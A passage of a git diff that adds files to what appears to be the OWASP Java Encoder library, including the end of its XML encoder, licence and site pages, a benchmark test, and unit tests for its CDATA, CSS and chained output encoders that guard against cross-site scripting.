+ } else if (ch < Character.MIN_HIGH_SURROGATE) {
+ if (ch <= Unicode.MAX_C1_CTRL_CHAR && ch != Unicode.NEL) {
+ return i;
+// } else {
+// // valid
+ }
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i + 1 < n && Character.isLowSurrogate(input.charAt(i + 1))) {
+ int cp = Character.toCodePoint(ch, input.charAt(i + 1));
+ if (Unicode.isNonCharacter(cp)) {
+ // noncharacter
+ return i;
+ }
+ ++i;
+ } else {
+ return i;
+ }
+ } else if (ch <= Character.MAX_LOW_SURROGATE
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ return i;
+// } else {
+// // valid
+ }
+ }
+
+ return n;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ for (; i < n; ++i) {
+ final char ch = in[i];
+ if (ch < Unicode.DEL) {
+ if (ch > '>' || ((_validMask & (1L << ch)) != 0)) {
+ // Common case ('>' .. '~') reached in two branches
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ } else {
+ switch (ch) {
+ case '&':
+ if (j + AMP_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '&';
+ out[j++] = 'a';
+ out[j++] = 'm';
+ out[j++] = 'p';
+ out[j++] = ';';
+ break;
+ case '<':
+ if (j + LT_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '&';
+ out[j++] = 'l';
+ out[j++] = 't';
+ out[j++] = ';';
+ break;
+ case '>':
+ if (j + GT_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '&';
+ out[j++] = 'g';
+ out[j++] = 't';
+ out[j++] = ';';
+ break;
+ case '\'':
+ // &apos; is valid in XML, but not in HTML, and numeric code is shorter
+ if (j + APOS_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '&';
+ out[j++] = '#';
+ out[j++] = '3';
+ out[j++] = '9';
+ out[j++] = ';';
+ break;
+ case '\"':
+ // &quot; is valid in XML and HTML, but numeric code is shorter
+ if (j + QUOT_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '&';
+ out[j++] = '#';
+ out[j++] = '3';
+ out[j++] = '4';
+ out[j++] = ';';
+ break;
+ default:
+ // invalid character
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_CHARACTER_REPLACEMENT;
+ break;
+ }
+ }
+ } else if (ch < Character.MIN_HIGH_SURROGATE) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ if (ch > Unicode.MAX_C1_CTRL_CHAR || ch == Unicode.NEL) {
+ out[j++] = ch;
+ } else {
+ // C1 control code
+ out[j++] = INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(in[i + 1])) {
+ int cp = Character.toCodePoint(ch, in[i + 1]);
+ if (Unicode.isNonCharacter(cp)) {
+ // noncharacter
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_CHARACTER_REPLACEMENT;
+ ++i;
+ } else {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ out[j++] = in[++i];
+ }
+ } else {
+ // high without low
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (endOfInput) {
+ // end of input, high without low = invalid
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_CHARACTER_REPLACEMENT;
+ } else {
+ break;
+ }
+ } else if (// low surrogate without preceding high surrogate
+ ch <= Character.MAX_LOW_SURROGATE
+ // or non-characters
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_CHARACTER_REPLACEMENT;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ }
+ }
+
+ return underflow(input, i, output, j);
+ }
+
+ @Override
+ public String toString() {
+ return "XMLEncoder(" + _mode + ")";
+ }
+}
diff --git a/core/src/main/resources/META-INF/LICENSE b/core/src/main/resources/META-INF/LICENSE
new file mode 100644
index 0000000..f66c375
--- /dev/null
+++ b/core/src/main/resources/META-INF/LICENSE
@@ -0,0 +1,33 @@
+Copyright (c) 2015 Jeff Ichnowski
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file
diff --git a/core/src/site/markdown/index.md b/core/src/site/markdown/index.md
new file mode 100644
index 0000000..ec848da
--- /dev/null
+++ b/core/src/site/markdown/index.md
@@ -0,0 +1,35 @@
+## OWASP Java Encoder
+
+The OWASP Java Encoder is a collection of high-performance low-overhead
+contextual encoders that, when utilized correctly, is an effective tool in
+preventing Web Application security vulnerabilities such as Cross-Site
+Scripting (XSS).
+
+Please see the [OWASP XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
+for more information on preventing XSS.
+
+For use within JSP pages consider using the [JSP Encoder](../encoder-jsp/index.html) as it
+provides a TLD to make the use of the core encoders easier.
+
+### Usage
+
+The JARs can be found in [Maven Central](https://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.owasp.encoder%22).
+
+```xml
+<dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder</artifactId>
+ <version>1.2.3</version>
+</dependency>
+```
+
+Utilize the encoder:
+
+```java
+import org.owasp.encoder.Encode;
+
+//...
+
+PrintWriter out = ....;
+out.println("<textarea>" + Encode.forHtml(userData) + "</textarea>");
+```
diff --git a/core/src/site/site.xml b/core/src/site/site.xml
new file mode 100644
index 0000000..1b3cb62
--- /dev/null
+++ b/core/src/site/site.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!--
+Copyright (c) 2015 Jeremy Long
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE.
+
+-->
+<project name="Encoder">
+ <body>
+ </body>
+</project> \ No newline at end of file
diff --git a/core/src/test/java/org/owasp/encoder/BenchmarkTest.java b/core/src/test/java/org/owasp/encoder/BenchmarkTest.java
new file mode 100644
index 0000000..b9dd8f5
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/BenchmarkTest.java
@@ -0,0 +1,260 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * BenchmarkTest -- tests that the encoders operate reasonably fast.
+ *
+ * @author Jeff Ichnowski
+ */
+public class BenchmarkTest extends TestCase {
+
+ static final int LOOPS = 5000;
+
+ public static Test suite() throws Exception {
+ // For benchmarking, we want to make sure that we warm-up
+ // (e.g. get everything in caches, etc...)
+ // then... Establish the baseline
+ // then... run each benchmark
+ // in order. The benchmark value needs to be stored somewhere
+ // so we attach it to the TestSuite instance itself.
+
+ // We allow a system property to disable benchmark tests. This is
+ // particularly useful when running code coverage as the coverage
+ // instrumentation can slow everything down.
+ if ("false".equalsIgnoreCase(
+ System.getProperty("org.owasp.encoder.benchmark", "true")))
+ {
+ return new TestSuite(BenchmarkTest.class);
+ }
+
+ return new TestSuite() {
+ final String[] _samples = loadSamples();
+ final String[] _output = new String[_samples.length];
+ long _baseline;
+ double _denom = (double) (LOOPS * _samples.length);
+
+ {
+ addTest(new TestCase("warmup") {
+ @Override
+ protected void runTest() throws Throwable {
+ int loops = 100;
+
+ runBench(BASELINE, loops, _samples, _output);
+
+ for (Bench bench : BENCHMARKS) {
+ runBench(bench, loops, _samples, _output);
+ }
+ }
+ });
+
+ addTest(new TestCase("baseline") {
+ @Override
+ protected void runTest() throws Throwable {
+ _baseline = runBench(BASELINE, LOOPS, _samples, _output);
+ System.out.printf("Baseline is %f ns/op\n",
+ _baseline / _denom);
+ }
+ });
+
+ for (final Bench bench : BENCHMARKS) {
+ addTest(new TestCase(bench.toString()) {
+ @Override
+ protected void runTest() throws Throwable {
+ long time = runBench(bench, LOOPS, _samples, _output);
+
+ double percentOnBaseline = (time - _baseline) * 100.0 / _baseline;
+
+ System.out.printf("Benchmarked %s: %f ns/op (%+.2f%% on baseline)\n",
+ bench, time / _denom, percentOnBaseline);
+
+ assertTrue(percentOnBaseline < 200);
+ }
+ });
+ }
+ }
+ };
+ }
+
+ static String[] loadSamples() throws Exception {
+ List<String> lines = new ArrayList<String>();
+ InputStream in = BenchmarkTest.class
+ .getResourceAsStream("benchmark-data-2.txt");
+
+ try {
+ BufferedReader reader = new BufferedReader(
+ new InputStreamReader(in, "utf-8"));
+ String line;
+ while ((line = reader.readLine()) != null) {
+ lines.add(line.replaceAll("\\\\r", "\r").replaceAll("\\\\n", "\n"));
+ }
+ } finally {
+ in.close();
+ }
+
+ return lines.toArray(new String[lines.size()]);
+ }
+
+ private static void rungc() {
+ // Code snippet from Caliper micro-benchmarking suite.
+ System.gc();
+ System.runFinalization();
+ final CountDownLatch latch = new CountDownLatch(1);
+ new Object() {
+ @Override
+ protected void finalize() throws Throwable {
+ latch.countDown();
+ }
+ };
+ System.gc();
+ System.runFinalization();
+
+ try {
+ if (!latch.await(2, TimeUnit.SECONDS)) {
+ System.out.println("WARNING! GC did collect/finalize in allotted time.");
+ }
+ } catch (InterruptedException e) {
+ throw new AssertionError(e);
+ }
+ }
+
+ private static long runBench(Bench bench, int loops, String[] input, String[] output) {
+ rungc();
+
+ final int n = input.length;
+ long start = System.nanoTime();
+ for (int phase=0 ; phase < 2 ; ++phase) {
+ for (int loop=0 ; loop<loops ; ++loop) {
+ for (int i=0 ; i<n ; ++i) {
+ output[i] = bench.encode(input[i]);
+ }
+ }
+ }
+ return System.nanoTime() - start;
+ }
+
+ static abstract class Bench {
+ final String _name;
+ public Bench(String name) {_name = name;}
+ public abstract String encode(String input);
+ public String toString() { return _name; }
+ }
+
+ static Bench BASELINE = new Bench("baseline") {
+ @Override
+ public String encode(String input) {
+ StringBuilder buf = new StringBuilder(input.length());
+ for (int i=0 ; i<input.length() ; ++i) {
+ buf.append(input.charAt(i));
+ }
+ return buf.toString();
+
+ // Here is an alternate, faster, baseline.
+
+// int n = input.length();
+// char[] buf = new char[n];
+// input.getChars(0, n, buf, 0);
+// return new String(buf);
+ }
+ };
+
+ static Bench[] BENCHMARKS = {
+ new Bench("Encode.forXml") {
+ @Override
+ public String encode(String input) {
+ return Encode.forXml(input);
+ }
+ },
+ new Bench("Encode.forHtmlUnquotedAttribute") {
+ @Override
+ public String encode(String input) {
+ return Encode.forHtmlUnquotedAttribute(input);
+ }
+ },
+ new Bench("Encode.forJavaScript") {
+ @Override
+ public String encode(String input) {
+ return Encode.forJavaScript(input);
+ }
+ },
+ new Bench("Encode.forCssString") {
+ @Override
+ public String encode(String input) {
+ return Encode.forCssString(input);
+ }
+ },
+ new Bench("Encode.forUriComponent") {
+ @Override
+ public String encode(String input) {
+ return Encode.forUriComponent(input);
+ }
+ },
+ new Bench("Encode.forCDATA") {
+ @Override
+ public String encode(String input) {
+ return Encode.forCDATA(input);
+ }
+ },
+ new Bench("Encode.forJava") {
+ @Override
+ public String encode(String input) {
+ return Encode.forJava(input);
+ }
+ },
+ new Bench("Encode.forXmlComment") {
+ @Override
+ public String encode(String input) {
+ return Encode.forXmlComment(input);
+ }
+ },
+ };
+
+ public void testNothing() throws Exception {
+ System.out.println("Warning: benchmark unit tests have been disabled");
+ assertTrue(true);
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/CDATAEncoderTest.java b/core/src/test/java/org/owasp/encoder/CDATAEncoderTest.java
new file mode 100644
index 0000000..5a28cfa
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/CDATAEncoderTest.java
@@ -0,0 +1,99 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+
+/**
+ * CDATAEncoderTest -- Test the CDATAEncoder for all code-points.
+ *
+ * @author Jeff Ichnowski
+ */
+public class CDATAEncoderTest extends TestCase {
+ public static Test suite() {
+ return new EncoderTestSuiteBuilder(CDATAEncoderTest.class, new CDATAEncoder(), "-safe-", "-]]>-")
+ .encode("]]]]><![CDATA[>", "]]>")
+ .encode("]", "]")
+ .encode("]]", "]]")
+ .encode("]]]]><![CDATA[>]", "]]>]")
+ .encode("]]]]><![CDATA[>]>", "]]>]>")
+ .encode("]]]]><![CDATA[>>", "]]>>")
+ .encode("]]]]]", "]]]]]")
+ .encode("<\"&\'>", "<\"&\'>") // valid in CDATA, not in XML
+
+ .invalid(0, 0x1f)
+ .valid("\t\r\n")
+ .valid(' ', Character.MAX_CODE_POINT)
+ .invalid(0x7f, 0x9f)
+ .valid("\u0085")
+ .invalid(Character.MIN_SURROGATE, Character.MAX_SURROGATE)
+ .invalid(0xfdd0, 0xfdef)
+ .invalid(0xfffe, 0xffff)
+ .invalid(0x1fffe, 0x1ffff)
+ .invalid(0x2fffe, 0x2ffff)
+ .invalid(0x3fffe, 0x3ffff)
+ .invalid(0x4fffe, 0x4ffff)
+ .invalid(0x5fffe, 0x5ffff)
+ .invalid(0x6fffe, 0x6ffff)
+ .invalid(0x7fffe, 0x7ffff)
+ .invalid(0x8fffe, 0x8ffff)
+ .invalid(0x9fffe, 0x9ffff)
+ .invalid(0xafffe, 0xaffff)
+ .invalid(0xbfffe, 0xbffff)
+ .invalid(0xcfffe, 0xcffff)
+ .invalid(0xdfffe, 0xdffff)
+ .invalid(0xefffe, 0xeffff)
+ .invalid(0xffffe, 0xfffff)
+ .invalid(0x10fffe, 0x10ffff)
+
+ .validSuite()
+ .invalidSuite(XMLEncoder.INVALID_CHARACTER_REPLACEMENT)
+
+ .build();
+ }
+
+ public void testMaxEncodedLength() {
+ CDATAEncoder encoder = new CDATAEncoder();
+ assertEquals(0, encoder.maxEncodedLength(0));
+ assertEquals(1, encoder.maxEncodedLength(1));
+ assertEquals(2, encoder.maxEncodedLength(2));
+ assertEquals(15, encoder.maxEncodedLength(3));
+ assertEquals(16, encoder.maxEncodedLength(4));
+ assertEquals(17, encoder.maxEncodedLength(5));
+ assertEquals(30, encoder.maxEncodedLength(6));
+ }
+
+}
diff --git a/core/src/test/java/org/owasp/encoder/CSSEncoderTest.java b/core/src/test/java/org/owasp/encoder/CSSEncoderTest.java
new file mode 100644
index 0000000..d2b167d
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/CSSEncoderTest.java
@@ -0,0 +1,90 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * CSSEncoderTest -- tests the CSSEncoder in all modes for all code-points.
+ *
+ * @author Jeff IChnowski
+ */
+public class CSSEncoderTest extends TestCase {
+ public static Test suite() {
+ TestSuite suite = new TestSuite();
+
+ for (CSSEncoder.Mode mode : CSSEncoder.Mode.values()) {
+ EncoderTestSuiteBuilder builder = new EncoderTestSuiteBuilder(new CSSEncoder(mode), "safe", "'")
+ .encode("\\27", "'")
+ .encode("safe", "safe")
+ .encode("required-space-after-encode", "\\27 1", "'1")
+ .encode("no-space-required-after-encode", "\\27x", "'x")
+ .encode("NUL", "\\0", "\0")
+ .encode("DEL", "\\7f", "\u007f")
+
+ .encoded(0, '\237')
+ .valid("!#$%")
+ .valid('*', '~')
+ .encoded("\\")
+ .valid('\240', Character.MAX_CODE_POINT)
+ .encoded('\u2028', '\u2029')
+ .encode("Line Separator", "\\2028", "\u2028")
+ .encode("Paragraph Separator", "\\2029", "\u2029")
+ .invalid(Character.MIN_SURROGATE, Character.MAX_SURROGATE);
+
+ switch (mode) {
+ case STRING:
+ builder.valid(' ', '~');
+ break;
+ case URL:
+ builder.encode("-\\20-", "- -");
+ break;
+ default:
+ throw new AssertionError("untested encoding mode: "+mode);
+ }
+
+ suite.addTest(builder
+ .encoded("\"\'\\<&/>")
+ .validSuite()
+ .invalidSuite(CSSEncoder.INVALID_REPLACEMENT_CHARACTER)
+ .encodedSuite()
+ .build());
+ }
+
+ return suite;
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/ChainedEncoderTest.java b/core/src/test/java/org/owasp/encoder/ChainedEncoderTest.java
new file mode 100644
index 0000000..9b5b940
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/ChainedEncoderTest.java
@@ -0,0 +1,72 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+
+/**
+ * ChainedEncoderTest -- Tests the ChainedEncoder for all code-points.
+ *
+ * @author Jeff Ichnowski
+ */
+public class ChainedEncoderTest extends TestCase {
+ public static Test suite() {
+ return new EncoderTestSuiteBuilder(
+ new ChainedEncoder(
+ new JavaScriptEncoder(JavaScriptEncoder.Mode.SOURCE, false),
+ new XMLEncoder()), "-safe-", "-\\&-")
+
+ // from JavaScriptEncoderTest
+ .encode("\\\\", "\\")
+ .encode("\\&#34;", "\"")
+ .encode("\\&#39;", "\'")
+ .encode("backspace", "\\b", "\b")
+ .encode("tab", "\\t", "\t")
+ .encode("LF", "\\n", "\n")
+ .encode("vtab", "\\x0b", "\u000b")
+ .encode("FF", "\\f", "\f")
+ .encode("CR", "\\r", "\r")
+ .encode("NUL", "\\x00", "\0")
+ .encode("abc", "abc")
+ .encode("ABC", "ABC")
+
+ // from XMLEncoderTest
+ .encode("&amp;", "&")
+ .encode("&gt;", ">")
+ .encode("&lt;", "<")
+ .build();
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/EncodeTest.java b/core/src/test/java/org/owasp/encoder/EncodeTest.java
new file mode 100644
index 0000000..b501635
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/EncodeTest.java
@@ -0,0 +1,160 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * EncodeTest -- exercises the core encode loops in {@link Encode.Buffer}.
+ *
+ * @author Jeff Ichnowski
+ */
